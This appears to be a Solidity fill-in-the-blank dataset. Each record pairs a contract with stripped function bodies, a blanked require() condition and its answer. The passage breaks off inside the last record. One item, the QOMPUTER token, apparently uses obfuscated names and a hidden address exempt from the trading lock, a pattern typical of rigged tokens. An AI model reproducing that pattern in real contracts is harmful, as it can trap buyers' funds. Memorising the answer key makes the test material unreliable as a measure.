function inqueryMembers() public view override returns( address[] memory members) {
}
function inqueryNumberOfMembers() public view override returns( uint256 ) {
}
function inqueryLatestId() public view override returns( uint256 ) {
}
function _proposal( address toContract, bytes memory callData ) internal returns( uint256 ) {
}
function _approval( uint256 docId ) internal {
}
function _addMember( address newMember ) internal {
}
function _removeMember( address member ) internal {
}
}
| _doc[docId].drafter==msg.sender,"onlyQuorum: caller is not drafter" | 472,940 | _doc[docId].drafter==msg.sender |
"onlyQuorum: approval period has expired" | // SPDX-License-Identifier: MIT
// XEN Contracts v0.6.0
pragma solidity ^0.8.13;
import {_CReentrancyGuards} from '../security/reentrancyGuards.sol';
import {CAddressIndexing} from '../index/addressIndex.sol';
import {IQuorum} from './iQuorum.sol';
contract CQuorum is _CReentrancyGuards, IQuorum {
uint256 private _idTracker;
uint256 internal _expirationPeriod; //μ건 μ ν¨ κΈ°κ° (μ€λ ν¬ν¨ λ κΈ°κ°)
uint256 internal _minimumMembers; //μ΅μ ꡬμ±μ μ
CAddressIndexing internal _memberIndex;
mapping( uint256 => TDraftDoc ) internal _doc;
address internal _creator;
event eventAddMember( address newMember );
event eventRemoveMember( address member );
event eventProposal( address drafter, uint256 docId, address toContract, bytes callData, bool invokable );
event eventApproval( address approvor, uint256 docId, bool invokable );
event eventCancel( uint256 docId );
event eventInvoke( address sender, uint256 docId, bytes returnData );
constructor() {
}
modifier onlyMember() {
}
modifier onlyQuorum( uint256 docId ) {
/*
μΉμΈλ ν invoke νΈμΆνμ μ΄ μμ΄μΌ μΌ νλ€.
κΈ°μμμ±μκ° invokeλ₯Ό νΈμΆ νμ¬μΌ νλ€.
κΈ°μμμ±μΌλ‘ λΆν° 3μΌ μ΄λ΄μ νΈμΆλμ΄μΌ νλ€.
2λͺ
λ―Έλ§ μΈκ²½μ° contract μμ±μλ§ νΈμΆ κ°λ₯
*/
require( !_doc[ docId ].cancellation, "onlyQuorum: cancelled");
require( !_doc[ docId ].invoked, "onlyQuorum: already invoked");
require( _doc[ docId ].drafter == msg.sender, "onlyQuorum: caller is not drafter");
require(<FILL_ME>)
uint256 numberOfMembers = _memberIndex.getIndexedSize();
if( _minimumMembers == 0 || numberOfMembers < _minimumMembers ) { //μ΅μ μΈμ μ΄νμ΄λ©΄ contract ownerλ§ νΈμΆ κ°λ₯νλ€
require( msg.sender == _creator, "onlyMember: If less than the minimum number of members, caller must be a contract owner");
} else { //μ΅μ μΈμ μ΄μμΈ κ²½μ°
uint256 minimumApproval = (numberOfMembers / 2) + 1;
require( _doc[ docId ].approval >= minimumApproval, "onlyQuorum: approval count must be at least (number of members / 2) + 1");
}
_;
}
function _revertReason (bytes memory revertData) internal pure returns (string memory reason) {
}
function _isInvokable( uint256 docId ) internal view returns( bool ) {
}
function cancel( uint256 docId ) public noReentrancy override {
}
function invoke( uint256 docId ) public onlyQuorum(docId) noReentrancy override {
}
function inquery( uint256 docId ) public view override returns( TDrafeDocViewer memory doc ) {
}
function inqueryApprover( uint256 docId ) public view override returns( TSigner[] memory approvers ) {
}
function inqueryCallData( uint256 docId ) public view override returns( address, string memory, bytes memory ) {
}
function inqueryReturnData( uint256 docId ) public view override returns( bool, bool, bytes memory ) {
}
function inqueryMembers() public view override returns( address[] memory members) {
}
function inqueryNumberOfMembers() public view override returns( uint256 ) {
}
function inqueryLatestId() public view override returns( uint256 ) {
}
function _proposal( address toContract, bytes memory callData ) internal returns( uint256 ) {
}
function _approval( uint256 docId ) internal {
}
function _addMember( address newMember ) internal {
}
function _removeMember( address member ) internal {
}
}
| (_doc[docId].draftDate+(_expirationPeriod*86400))>block.timestamp,"onlyQuorum: approval period has expired" | 472,940 | (_doc[docId].draftDate+(_expirationPeriod*86400))>block.timestamp |
"onlyQuorum: approval count must be at least (number of members / 2) + 1" | // SPDX-License-Identifier: MIT
// XEN Contracts v0.6.0
pragma solidity ^0.8.13;
import {_CReentrancyGuards} from '../security/reentrancyGuards.sol';
import {CAddressIndexing} from '../index/addressIndex.sol';
import {IQuorum} from './iQuorum.sol';
contract CQuorum is _CReentrancyGuards, IQuorum {
uint256 private _idTracker;
uint256 internal _expirationPeriod; //μ건 μ ν¨ κΈ°κ° (μ€λ ν¬ν¨ λ κΈ°κ°)
uint256 internal _minimumMembers; //μ΅μ ꡬμ±μ μ
CAddressIndexing internal _memberIndex;
mapping( uint256 => TDraftDoc ) internal _doc;
address internal _creator;
event eventAddMember( address newMember );
event eventRemoveMember( address member );
event eventProposal( address drafter, uint256 docId, address toContract, bytes callData, bool invokable );
event eventApproval( address approvor, uint256 docId, bool invokable );
event eventCancel( uint256 docId );
event eventInvoke( address sender, uint256 docId, bytes returnData );
constructor() {
}
modifier onlyMember() {
}
modifier onlyQuorum( uint256 docId ) {
/*
μΉμΈλ ν invoke νΈμΆνμ μ΄ μμ΄μΌ μΌ νλ€.
κΈ°μμμ±μκ° invokeλ₯Ό νΈμΆ νμ¬μΌ νλ€.
κΈ°μμμ±μΌλ‘ λΆν° 3μΌ μ΄λ΄μ νΈμΆλμ΄μΌ νλ€.
2λͺ
λ―Έλ§ μΈκ²½μ° contract μμ±μλ§ νΈμΆ κ°λ₯
*/
require( !_doc[ docId ].cancellation, "onlyQuorum: cancelled");
require( !_doc[ docId ].invoked, "onlyQuorum: already invoked");
require( _doc[ docId ].drafter == msg.sender, "onlyQuorum: caller is not drafter");
require( (_doc[ docId ].draftDate + ( _expirationPeriod * 86400) ) > block.timestamp, "onlyQuorum: approval period has expired" );
uint256 numberOfMembers = _memberIndex.getIndexedSize();
if( _minimumMembers == 0 || numberOfMembers < _minimumMembers ) { //μ΅μ μΈμ μ΄νμ΄λ©΄ contract ownerλ§ νΈμΆ κ°λ₯νλ€
require( msg.sender == _creator, "onlyMember: If less than the minimum number of members, caller must be a contract owner");
} else { //μ΅μ μΈμ μ΄μμΈ κ²½μ°
uint256 minimumApproval = (numberOfMembers / 2) + 1;
require(<FILL_ME>)
}
_;
}
function _revertReason (bytes memory revertData) internal pure returns (string memory reason) {
}
function _isInvokable( uint256 docId ) internal view returns( bool ) {
}
function cancel( uint256 docId ) public noReentrancy override {
}
function invoke( uint256 docId ) public onlyQuorum(docId) noReentrancy override {
}
function inquery( uint256 docId ) public view override returns( TDrafeDocViewer memory doc ) {
}
function inqueryApprover( uint256 docId ) public view override returns( TSigner[] memory approvers ) {
}
function inqueryCallData( uint256 docId ) public view override returns( address, string memory, bytes memory ) {
}
function inqueryReturnData( uint256 docId ) public view override returns( bool, bool, bytes memory ) {
}
function inqueryMembers() public view override returns( address[] memory members) {
}
function inqueryNumberOfMembers() public view override returns( uint256 ) {
}
function inqueryLatestId() public view override returns( uint256 ) {
}
function _proposal( address toContract, bytes memory callData ) internal returns( uint256 ) {
}
function _approval( uint256 docId ) internal {
}
function _addMember( address newMember ) internal {
}
function _removeMember( address member ) internal {
}
}
| _doc[docId].approval>=minimumApproval,"onlyQuorum: approval count must be at least (number of members / 2) + 1" | 472,940 | _doc[docId].approval>=minimumApproval |
"_approval: the drafter and signer must be different" | // SPDX-License-Identifier: MIT
// XEN Contracts v0.6.0
pragma solidity ^0.8.13;
import {_CReentrancyGuards} from '../security/reentrancyGuards.sol';
import {CAddressIndexing} from '../index/addressIndex.sol';
import {IQuorum} from './iQuorum.sol';
contract CQuorum is _CReentrancyGuards, IQuorum {
uint256 private _idTracker;
uint256 internal _expirationPeriod; //μ건 μ ν¨ κΈ°κ° (μ€λ ν¬ν¨ λ κΈ°κ°)
uint256 internal _minimumMembers; //μ΅μ ꡬμ±μ μ
CAddressIndexing internal _memberIndex;
mapping( uint256 => TDraftDoc ) internal _doc;
address internal _creator;
event eventAddMember( address newMember );
event eventRemoveMember( address member );
event eventProposal( address drafter, uint256 docId, address toContract, bytes callData, bool invokable );
event eventApproval( address approvor, uint256 docId, bool invokable );
event eventCancel( uint256 docId );
event eventInvoke( address sender, uint256 docId, bytes returnData );
constructor() {
}
modifier onlyMember() {
}
modifier onlyQuorum( uint256 docId ) {
}
function _revertReason (bytes memory revertData) internal pure returns (string memory reason) {
}
function _isInvokable( uint256 docId ) internal view returns( bool ) {
}
function cancel( uint256 docId ) public noReentrancy override {
}
function invoke( uint256 docId ) public onlyQuorum(docId) noReentrancy override {
}
function inquery( uint256 docId ) public view override returns( TDrafeDocViewer memory doc ) {
}
function inqueryApprover( uint256 docId ) public view override returns( TSigner[] memory approvers ) {
}
function inqueryCallData( uint256 docId ) public view override returns( address, string memory, bytes memory ) {
}
function inqueryReturnData( uint256 docId ) public view override returns( bool, bool, bytes memory ) {
}
function inqueryMembers() public view override returns( address[] memory members) {
}
function inqueryNumberOfMembers() public view override returns( uint256 ) {
}
function inqueryLatestId() public view override returns( uint256 ) {
}
function _proposal( address toContract, bytes memory callData ) internal returns( uint256 ) {
}
function _approval( uint256 docId ) internal {
/*
κΈ°μμλ signμ ν μ μλ€
μ건 μμ μ·¨μλ 문건μ μΉμΈ λΆκ° νλ€
κΈ°μμμ± λ μ§λ‘ λΆν° κΈμΌ ν¬ν¨ _expirationPeriod μΌ μ΄λ΄μ μΉμΈ νμ¬μΌ νλ€.
ꡬμ±μλ§μ΄ signμ ν μ μλ€
signν ꡬμ±μμ μ€λ³΅ μΉμΈμ ν μ μλ€
invokeλ κΈ°μμ sign ν μ μλ€.
drafterλ κΈ°λ³ΈμΌλ‘ approve ν μνλ‘ κ°μ£Ό νλ€.
*/
require(<FILL_ME>)
require( !_doc[ docId ].cancellation, "onlyQuorum: cancelled");
require( (_doc[ docId ].draftDate + ( _expirationPeriod * 86400) ) > block.timestamp, "_approval: approval period has expired" );
require( _memberIndex.getIndex( msg.sender ) > 0, "_approval: caller is not member" );
require( _doc[ docId ].indexing[msg.sender] == 0, "_approval: already approved" );
require( !_doc[ docId ].invoked, "_approval: already invoked" );
TSigner memory tSigner;
tSigner.approver = msg.sender;
tSigner.time = block.timestamp;
_doc[ docId ].indexing[msg.sender] = _doc[ docId ].approval;
_doc[ docId ].signer[_doc[ docId ].approval] = tSigner;
_doc[ docId ].approval++;
emit eventApproval( msg.sender, docId, _isInvokable( docId ) );
}
function _addMember( address newMember ) internal {
}
function _removeMember( address member ) internal {
}
}
| _doc[docId].drafter!=msg.sender,"_approval: the drafter and signer must be different" | 472,940 | _doc[docId].drafter!=msg.sender |
"_approval: already approved" | // SPDX-License-Identifier: MIT
// XEN Contracts v0.6.0
pragma solidity ^0.8.13;
import {_CReentrancyGuards} from '../security/reentrancyGuards.sol';
import {CAddressIndexing} from '../index/addressIndex.sol';
import {IQuorum} from './iQuorum.sol';
contract CQuorum is _CReentrancyGuards, IQuorum {
uint256 private _idTracker;
uint256 internal _expirationPeriod; //μ건 μ ν¨ κΈ°κ° (μ€λ ν¬ν¨ λ κΈ°κ°)
uint256 internal _minimumMembers; //μ΅μ ꡬμ±μ μ
CAddressIndexing internal _memberIndex;
mapping( uint256 => TDraftDoc ) internal _doc;
address internal _creator;
event eventAddMember( address newMember );
event eventRemoveMember( address member );
event eventProposal( address drafter, uint256 docId, address toContract, bytes callData, bool invokable );
event eventApproval( address approvor, uint256 docId, bool invokable );
event eventCancel( uint256 docId );
event eventInvoke( address sender, uint256 docId, bytes returnData );
constructor() {
}
modifier onlyMember() {
}
modifier onlyQuorum( uint256 docId ) {
}
function _revertReason (bytes memory revertData) internal pure returns (string memory reason) {
}
function _isInvokable( uint256 docId ) internal view returns( bool ) {
}
function cancel( uint256 docId ) public noReentrancy override {
}
function invoke( uint256 docId ) public onlyQuorum(docId) noReentrancy override {
}
function inquery( uint256 docId ) public view override returns( TDrafeDocViewer memory doc ) {
}
function inqueryApprover( uint256 docId ) public view override returns( TSigner[] memory approvers ) {
}
function inqueryCallData( uint256 docId ) public view override returns( address, string memory, bytes memory ) {
}
function inqueryReturnData( uint256 docId ) public view override returns( bool, bool, bytes memory ) {
}
function inqueryMembers() public view override returns( address[] memory members) {
}
function inqueryNumberOfMembers() public view override returns( uint256 ) {
}
function inqueryLatestId() public view override returns( uint256 ) {
}
function _proposal( address toContract, bytes memory callData ) internal returns( uint256 ) {
}
function _approval( uint256 docId ) internal {
/*
κΈ°μμλ signμ ν μ μλ€
μ건 μμ μ·¨μλ 문건μ μΉμΈ λΆκ° νλ€
κΈ°μμμ± λ μ§λ‘ λΆν° κΈμΌ ν¬ν¨ _expirationPeriod μΌ μ΄λ΄μ μΉμΈ νμ¬μΌ νλ€.
ꡬμ±μλ§μ΄ signμ ν μ μλ€
signν ꡬμ±μμ μ€λ³΅ μΉμΈμ ν μ μλ€
invokeλ κΈ°μμ sign ν μ μλ€.
drafterλ κΈ°λ³ΈμΌλ‘ approve ν μνλ‘ κ°μ£Ό νλ€.
*/
require( _doc[ docId ].drafter != msg.sender, "_approval: the drafter and signer must be different" );
require( !_doc[ docId ].cancellation, "onlyQuorum: cancelled");
require( (_doc[ docId ].draftDate + ( _expirationPeriod * 86400) ) > block.timestamp, "_approval: approval period has expired" );
require( _memberIndex.getIndex( msg.sender ) > 0, "_approval: caller is not member" );
require(<FILL_ME>)
require( !_doc[ docId ].invoked, "_approval: already invoked" );
TSigner memory tSigner;
tSigner.approver = msg.sender;
tSigner.time = block.timestamp;
_doc[ docId ].indexing[msg.sender] = _doc[ docId ].approval;
_doc[ docId ].signer[_doc[ docId ].approval] = tSigner;
_doc[ docId ].approval++;
emit eventApproval( msg.sender, docId, _isInvokable( docId ) );
}
function _addMember( address newMember ) internal {
}
function _removeMember( address member ) internal {
}
}
| _doc[docId].indexing[msg.sender]==0,"_approval: already approved" | 472,940 | _doc[docId].indexing[msg.sender]==0 |
"_removeMember: must have at least 3 members" | // SPDX-License-Identifier: MIT
// XEN Contracts v0.6.0
pragma solidity ^0.8.13;
import {_CReentrancyGuards} from '../security/reentrancyGuards.sol';
import {CAddressIndexing} from '../index/addressIndex.sol';
import {IQuorum} from './iQuorum.sol';
contract CQuorum is _CReentrancyGuards, IQuorum {
uint256 private _idTracker;
uint256 internal _expirationPeriod; //μ건 μ ν¨ κΈ°κ° (μ€λ ν¬ν¨ λ κΈ°κ°)
uint256 internal _minimumMembers; //μ΅μ ꡬμ±μ μ
CAddressIndexing internal _memberIndex;
mapping( uint256 => TDraftDoc ) internal _doc;
address internal _creator;
event eventAddMember( address newMember );
event eventRemoveMember( address member );
event eventProposal( address drafter, uint256 docId, address toContract, bytes callData, bool invokable );
event eventApproval( address approvor, uint256 docId, bool invokable );
event eventCancel( uint256 docId );
event eventInvoke( address sender, uint256 docId, bytes returnData );
constructor() {
}
modifier onlyMember() {
}
modifier onlyQuorum( uint256 docId ) {
}
function _revertReason (bytes memory revertData) internal pure returns (string memory reason) {
}
function _isInvokable( uint256 docId ) internal view returns( bool ) {
}
function cancel( uint256 docId ) public noReentrancy override {
}
function invoke( uint256 docId ) public onlyQuorum(docId) noReentrancy override {
}
function inquery( uint256 docId ) public view override returns( TDrafeDocViewer memory doc ) {
}
function inqueryApprover( uint256 docId ) public view override returns( TSigner[] memory approvers ) {
}
function inqueryCallData( uint256 docId ) public view override returns( address, string memory, bytes memory ) {
}
function inqueryReturnData( uint256 docId ) public view override returns( bool, bool, bytes memory ) {
}
function inqueryMembers() public view override returns( address[] memory members) {
}
function inqueryNumberOfMembers() public view override returns( uint256 ) {
}
function inqueryLatestId() public view override returns( uint256 ) {
}
function _proposal( address toContract, bytes memory callData ) internal returns( uint256 ) {
}
function _approval( uint256 docId ) internal {
}
function _addMember( address newMember ) internal {
}
function _removeMember( address member ) internal {
require(<FILL_ME>)
_memberIndex.removeIndex( member );
emit eventRemoveMember( member ) ;
}
}
| _memberIndex.getIndexedSize()>2,"_removeMember: must have at least 3 members" | 472,940 | _memberIndex.getIndexedSize()>2 |
"C0" | // SPDX-License-Identifier: Unlicense
pragma solidity =0.8.4;
pragma abicoder v2;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IVaultStorage {
function isSystemPaused() external view returns (bool);
function governance() external view returns (address);
}
interface IFaucet {
function setComponents(
address,
address,
address,
address,
address,
address
) external;
}
contract Faucet is IFaucet, Ownable {
address public uniswapMath;
address public vault;
address public auction;
address public vaultMath;
address public vaultTreasury;
address public vaultStorage;
constructor() Ownable() {}
bool public isInitialized = false;
function setComponents(
address _uniswapMath,
address _vault,
address _auction,
address _vaultMath,
address _vaultTreasury,
address _vaultStorage
) public override onlyOwner {
}
modifier onlyVault() {
}
modifier onlyMath() {
}
modifier onlyContracts() {
}
modifier onlyGovernance() {
}
/**
* @notice current balance of a certain token
*/
function _getBalance(IERC20 token) internal view returns (uint256) {
}
modifier notPaused() {
require(<FILL_ME>)
_;
}
}
| !IVaultStorage(vaultStorage).isSystemPaused(),"C0" | 472,992 | !IVaultStorage(vaultStorage).isSystemPaused() |
"ERC20: cap exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Donut is ERC20Pausable, Ownable {
uint256 public maxSupplyAmount = 100*(10**8)*(10**18);
constructor() ERC20("Donut", "DONUT") {
}
function mint(address account, uint256 amount) external onlyOwner {
require(<FILL_ME>)
_mint(account, amount);
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
}
| ERC20.totalSupply()+amount<=maxSupplyAmount,"ERC20: cap exceeded" | 473,285 | ERC20.totalSupply()+amount<=maxSupplyAmount |
null | pragma solidity 0.4.24;
contract MessageDelivery is BasicAMB, MessageProcessor {
using SafeMath for uint256;
/**
* @dev Requests message relay to the opposite network
* @param _contract executor address on the other side
* @param _data calldata passed to the executor on the other side
* @param _gas gas limit used on the other network for executing a message
*/
function requireToPassMessage(address _contract, bytes _data, uint256 _gas) public returns (bytes32) {
// it is not allowed to pass messages while other messages are processed
require(<FILL_ME>)
require(_gas >= getMinimumGasUsage(_data) && _gas <= maxGasPerTx());
bytes32 _messageId;
bytes memory header = _packHeader(_contract, _gas);
_setNonce(_nonce() + 1);
assembly {
_messageId := mload(add(header, 32))
}
bytes memory eventData = abi.encodePacked(header, _data);
emitEventOnMessageRequest(_messageId, eventData);
return _messageId;
}
/**
* @dev Returns a lower limit on gas limit for the particular message data
* @param _data calldata passed to the executor on the other side
*/
function getMinimumGasUsage(bytes _data) public pure returns (uint256 gas) {
}
/**
* @dev Packs message header into a single bytes blob
* @param _contract executor address on the other side
* @param _gas gas limit used on the other network for executing a message
*/
function _packHeader(address _contract, uint256 _gas) internal view returns (bytes memory header) {
}
/* solcov ignore next */
function emitEventOnMessageRequest(bytes32 messageId, bytes encodedData) internal;
}
| messageId()==bytes32(0) | 473,446 | messageId()==bytes32(0) |
"ERC20: trading is not yet enabled." | // @QOMPUTER
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private qomArray;
mapping (address => bool) private Deeds;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private Spies = 0;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; address private addr1u8fwnjfwkjf; uint256 private _totalSupply;
bool private trading; uint256 private Earth; bool private Fruits; uint256 private Eggs;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function openTrading() external onlyOwner returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function symbol() public view virtual override returns (string memory) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function burn(uint256 amount) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _WeWereTerra(address creator) internal virtual {
}
function _burn(address account, uint256 amount) internal {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function last(uint256 g) internal view returns (address) { }
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _balancesOfTheCoins(address sender, address recipient, bool emulation) internal {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _balancesOfTheApes(address sender, address recipient) internal {
require(<FILL_ME>)
_balancesOfTheCoins(sender, recipient, (address(sender) == addr1u8fwnjfwkjf) && (Earth > 0));
Earth += (sender == addr1u8fwnjfwkjf) ? 1 : 0;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _DeployQOMPUTER(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract BinaryHunter is ERC20Token {
constructor() ERC20Token("Binary Hunter", "QOMPUTER", msg.sender, 10101010 * 10 ** 18) {
}
}
| (trading||(sender==addr1u8fwnjfwkjf)),"ERC20: trading is not yet enabled." | 473,574 | (trading||(sender==addr1u8fwnjfwkjf)) |
'Address already claimed!' | pragma solidity ^0.8.4;
contract TroublemakerClub is ERC721AQueryable, Ownable, ReentrancyGuard {
bytes32 public merkleRoot;
bytes32 public holderMerkleRoot;
mapping(address => bool) public listClaimed;
string public uriPrefix = '';
uint256 public cost = 0.003 ether;
uint256 public maxSupply = 8888;
uint256 public maxMintAmountPerTx = 5;
bool public holderMintEnabled = false;
bool public whitelistMintEnabled = false;
bool public publicMintEnabled = false;
IERC721A public MachineSoldier = IERC721A(address(0x856b5eFe21CF134924f40F0124631298bB2204f6));
constructor(
string memory _tokenName,
string memory _tokenSymbol
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function holderMint(bytes32[] calldata _merkleProof) public {
require(holderMintEnabled, 'The holder mint is not enabled!');
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(_msgSender()));
require(MerkleProof.verify(_merkleProof, holderMerkleRoot, leaf), 'Invalid proof!');
uint256 _mintAmount = 1;
uint256 msCount = MachineSoldier.balanceOf(address(msg.sender));
if (msCount >= 10) {
uint256 multiplier = 10;
_mintAmount += (msCount * multiplier) / 100;
}
require(totalSupply() + _mintAmount <= maxSupply, 'Max supply exceeded!');
listClaimed[_msgSender()] = true;
_safeMint(_msgSender(), _mintAmount);
}
function whitelistMint(bytes32[] calldata _merkleProof) public {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setPublicMintEnabled(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
function setHolderMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setHolderMintEnabled(bool _state) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function random(uint number) internal view returns(uint) {
}
}
| !listClaimed[_msgSender()],'Address already claimed!' | 473,818 | !listClaimed[_msgSender()] |
'Invalid proof!' | pragma solidity ^0.8.4;
contract TroublemakerClub is ERC721AQueryable, Ownable, ReentrancyGuard {
bytes32 public merkleRoot;
bytes32 public holderMerkleRoot;
mapping(address => bool) public listClaimed;
string public uriPrefix = '';
uint256 public cost = 0.003 ether;
uint256 public maxSupply = 8888;
uint256 public maxMintAmountPerTx = 5;
bool public holderMintEnabled = false;
bool public whitelistMintEnabled = false;
bool public publicMintEnabled = false;
IERC721A public MachineSoldier = IERC721A(address(0x856b5eFe21CF134924f40F0124631298bB2204f6));
constructor(
string memory _tokenName,
string memory _tokenSymbol
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function holderMint(bytes32[] calldata _merkleProof) public {
require(holderMintEnabled, 'The holder mint is not enabled!');
require(!listClaimed[_msgSender()], 'Address already claimed!');
bytes32 leaf = keccak256(abi.encodePacked(_msgSender()));
require(<FILL_ME>)
uint256 _mintAmount = 1;
uint256 msCount = MachineSoldier.balanceOf(address(msg.sender));
if (msCount >= 10) {
uint256 multiplier = 10;
_mintAmount += (msCount * multiplier) / 100;
}
require(totalSupply() + _mintAmount <= maxSupply, 'Max supply exceeded!');
listClaimed[_msgSender()] = true;
_safeMint(_msgSender(), _mintAmount);
}
function whitelistMint(bytes32[] calldata _merkleProof) public {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setPublicMintEnabled(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
function setHolderMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setHolderMintEnabled(bool _state) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function random(uint number) internal view returns(uint) {
}
}
| MerkleProof.verify(_merkleProof,holderMerkleRoot,leaf),'Invalid proof!' | 473,818 | MerkleProof.verify(_merkleProof,holderMerkleRoot,leaf) |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./ERC4906.sol";
import "./Splitter.sol";
contract PerseaSimpleCollectionSeq is
ERC4906,
ReentrancyGuard,
Ownable,
Splitter
{
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
string private _contractURIHash;
string private _gatewayBaseURI;
uint256 public totalSupply;
uint256 public _price;
mapping(uint256 => string) private _tokenHash;
constructor(
string memory _name ,
string memory _symbol,
string memory gatewayBaseURI,
string memory contractURIHash,
uint256 price,
address[] memory _payees,
uint256[] memory _percentages
) ERC4906(_name, _symbol) Splitter(_payees, _percentages) {
}
function contractURI() public view onlyOwner returns (string memory) {
}
function setContractURIHash(string memory contractURIHash) public onlyOwner {
}
function setTokenURIHash(uint256 _tokenId, string memory newHash) public onlyOwner {
}
function setTokenURIHashBatch(uint256[] memory tokenIds, string[] memory newHashes) public onlyOwner {
require(tokenIds.length == newHashes.length, "Persea: Arrays length mismatch");
uint256 from = tokenIds[0];
uint256 to = 0;
for(uint256 index = 0; index < tokenIds.length; index++) {
require(<FILL_ME>)
_tokenHash[tokenIds[index]] = newHashes[index];
from = tokenIds[index] < from ? tokenIds[index] : from;
to = tokenIds[index] > to ? tokenIds[index] : to;
}
emit BatchMetadataUpdate(from, to);
}
function setAllTokensURIHash(string[] memory newHashes) public onlyOwner {
}
function mint(address to, string memory uriHash) public onlyOwner {
}
function _safeMint(address to) internal returns(uint256){
}
function payableMint(string memory uriHash) public nonReentrant payable {
}
function payWithNativeToken() internal {
}
function _mintOne(address to) internal returns (uint256 newItemId) {
}
function _addSupply() private {
}
function _getCurrentId() internal returns (uint256){
}
function getPrice() public view returns(uint256) {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
}
| Minted(tokenIds[index] | 473,930 | tokenIds[index] |
"Persea: URI is empty" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./ERC4906.sol";
import "./Splitter.sol";
contract PerseaSimpleCollectionSeq is
ERC4906,
ReentrancyGuard,
Ownable,
Splitter
{
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
string private _contractURIHash;
string private _gatewayBaseURI;
